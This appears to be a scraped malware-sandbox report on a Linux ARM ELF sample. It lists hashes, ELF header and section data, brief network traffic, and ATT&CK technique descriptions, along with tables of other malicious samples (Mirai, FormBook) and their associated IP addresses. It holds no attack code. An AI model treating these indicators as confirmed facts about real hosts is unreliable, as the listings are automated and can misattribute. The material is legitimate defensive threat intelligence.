SHA-256:	AB82C52A2EA5D17ADAC7E71CCB287AAB8D72D92078999DD0DFB6F35BE6EDC070
SHA-512:	121489F85C274971C7E8A3B14C4FCB2D7917B071A8B26CA11B7FC49B35F1F8FD8963AA4437550BC5E384771CB61CDA25E921912088A3746FF811B2F8F3319A5A
Malicious:	false
Reputation:	low
Preview:	/tmp/xobftuootu.elf.

Process:	/tmp/xobftuootu.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.546439344671015
Encrypted:	false
SSDEEP:	3:TgIjRf05n:TgIp05
MD5:	D2F788165097B8343E346519C8BF1DE9
SHA1:	BEA74C2A5C694F0C03F5B5574235C01826C04A09
SHA-256:	AB82C52A2EA5D17ADAC7E71CCB287AAB8D72D92078999DD0DFB6F35BE6EDC070
SHA-512:	121489F85C274971C7E8A3B14C4FCB2D7917B071A8B26CA11B7FC49B35F1F8FD8963AA4437550BC5E384771CB61CDA25E921912088A3746FF811B2F8F3319A5A
Malicious:	false
Reputation:	low
Preview:	/tmp/xobftuootu.elf.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	13.137.185.145
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	99.185.59.3
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	12.214.118.12
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	99.17.115.57
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	12.25.180.83
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	13.190.252.239
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	32.124.85.235
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	107.224.24.147
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	107.227.129.150
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	108.88.23.124
USDA-1US	arm7.elf	Get hash	malicious	Mirai	Browse	166.7.141.221
	nabarm5.elf	Get hash	malicious	Unknown	Browse	199.151.52.93
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	199.131.185.114
	splarm.elf	Get hash	malicious	Unknown	Browse	170.157.154.1
	nklarm.elf	Get hash	malicious	Unknown	Browse	166.7.141.235
	nklppc.elf	Get hash	malicious	Unknown	Browse	199.162.110.240
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	166.6.79.248
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	150.122.125.94
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	166.3.113.5
	apep.x86.elf	Get hash	malicious	Mirai	Browse	162.79.111.197
PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	182.189.144.46
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	39.35.248.253
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	182.185.211.79
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	182.187.195.39
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	39.36.238.165
	nabmips.elf	Get hash	malicious	Unknown	Browse	39.47.61.72
	splarm7.elf	Get hash	malicious	Unknown	Browse	39.51.86.213
	nklmips.elf	Get hash	malicious	Unknown	Browse	39.41.154.110
	mips.elf	Get hash	malicious	Unknown	Browse	182.186.247.168
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	39.35.80.63
LINKNET-ID-APLinknetASNID	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	139.68.11.77
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.21.221.87
	splppc.elf	Get hash	malicious	Unknown	Browse	139.40.118.68
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	103.21.221.87
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	139.37.190.35
	apep.spc.elf	Get hash	malicious	Mirai	Browse	139.41.51.197
	file.exe	Get hash	malicious	FormBook	Browse	103.21.221.4
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	103.21.221.87
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	103.21.221.87
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	139.41.28.196

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.015102524516752
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	xobftuootu.elf
File size:	83'124 bytes
MD5:	e973b0dc8cc55e90d8cac20cf152e679
SHA1:	f126ac6385d322c8e3ffb34d5eef42777870a85f
SHA256:	47766174022cd4d417a0a5c6dee26d2fe7ceb757ea3ea477888dbb18e766e01c
SHA512:	a168998f21745a58b32cfdc0c544bc3a83d5f86a13a86ded0b50c869070b4211fe8000a6c022e250b02debae58cf550f4f827ce5fd60d37bcbc35ce6710555b1
SSDEEP:	1536:+/BCgIB0jdOnifo2Y5+JEta2ldDu9+c9R84Zsc2FFKnWgNrTyZnwwM:+EbBkdOso2Y5+Jn2fuQc9KqrCFKnWgN5
TLSH:	87830646FD81CE16C5D252BBBB1E928D373657A8D2DA3202DD141F6177CB86B0E3B242
File Content Preview:	.ELF...a..........(.........4....B......4. ...(.....................d8..d8...............@...@...@..<....9..........Q.td..................................-...L."....I..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	82604
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x126b8	0x0	0x6	AX	16
.fini	PROGBITS	0x1a768	0x12768	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1a77c	0x1277c	0x10e8	0x0	0x2	A	4
.eh_frame	PROGBITS	0x24000	0x14000	0x4	0x0	0x3	WA	4
.ctors	PROGBITS	0x24004	0x14004	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2400c	0x1400c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x24014	0x14014	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x24018	0x14018	0x224	0x0	0x3	WA	4
.bss	NOBITS	0x2423c	0x1423c	0x36d0	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1423c	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1424c	0x5d	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x13864	0x13864	6.1194	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14000	0x24000	0x24000	0x23c	0x390c	2.9043	0x6	RW	0x8000	.eh_frame .ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 22:37:59.762222052 CET	57942	53	192.168.2.14	1.1.1.1
Nov 27, 2024 22:37:59.907111883 CET	53	57942	1.1.1.1	192.168.2.14
Nov 27, 2024 22:37:59.907675028 CET	42774	19302	192.168.2.14	74.125.250.129
Nov 27, 2024 22:38:01.014000893 CET	19302	42774	74.125.250.129	192.168.2.14
Nov 27, 2024 22:38:01.016688108 CET	39542	53	192.168.2.14	1.1.1.1
Nov 27, 2024 22:38:01.160068035 CET	53	39542	1.1.1.1	192.168.2.14

Start time (UTC):	21:37:56
Start date (UTC):	27/11/2024
Path:	/tmp/xobftuootu.elf
Arguments:	/tmp/xobftuootu.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	21:37:58
Start date (UTC):	27/11/2024
Path:	/tmp/xobftuootu.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report xobftuootu.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0Fmr4c (deleted)

/tmp/qemu-open.0NoCXc (deleted)

/tmp/qemu-open.0ZHBbf (deleted)

/tmp/qemu-open.0aiq1f (deleted)

/tmp/qemu-open.0hnkxf (deleted)

/tmp/qemu-open.0rUo2e (deleted)

/tmp/qemu-open.1C2off (deleted)

/tmp/qemu-open.246Bqe (deleted)

/tmp/qemu-open.2Lh5rc (deleted)

/tmp/qemu-open.2OwmBg (deleted)

/tmp/qemu-open.2YBLFc (deleted)

/tmp/qemu-open.3bnkjg (deleted)

/tmp/qemu-open.3h1pId (deleted)

/tmp/qemu-open.4RldJe (deleted)

/tmp/qemu-open.5DQKTe (deleted)

/tmp/qemu-open.5XA1me (deleted)

/tmp/qemu-open.5jiB9e (deleted)

/tmp/qemu-open.5uMVFd (deleted)

/tmp/qemu-open.8iV4rc (deleted)

/tmp/qemu-open.8lctff (deleted)

/tmp/qemu-open.8p5Evc (deleted)

/tmp/qemu-open.9e9bje (deleted)

/tmp/qemu-open.9y2mWc (deleted)

/tmp/qemu-open.AN2QAc (deleted)

/tmp/qemu-open.APzQZf (deleted)

/tmp/qemu-open.ATSklg (deleted)

/tmp/qemu-open.AkxETe (deleted)

/tmp/qemu-open.B8qrve (deleted)

/tmp/qemu-open.B98Gqf (deleted)

/tmp/qemu-open.BDvhLc (deleted)

/tmp/qemu-open.BMSvbe (deleted)

/tmp/qemu-open.BUynAf (deleted)

/tmp/qemu-open.BhFpjd (deleted)

/tmp/qemu-open.C78T9d (deleted)

Linux Analysis Report
xobftuootu.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre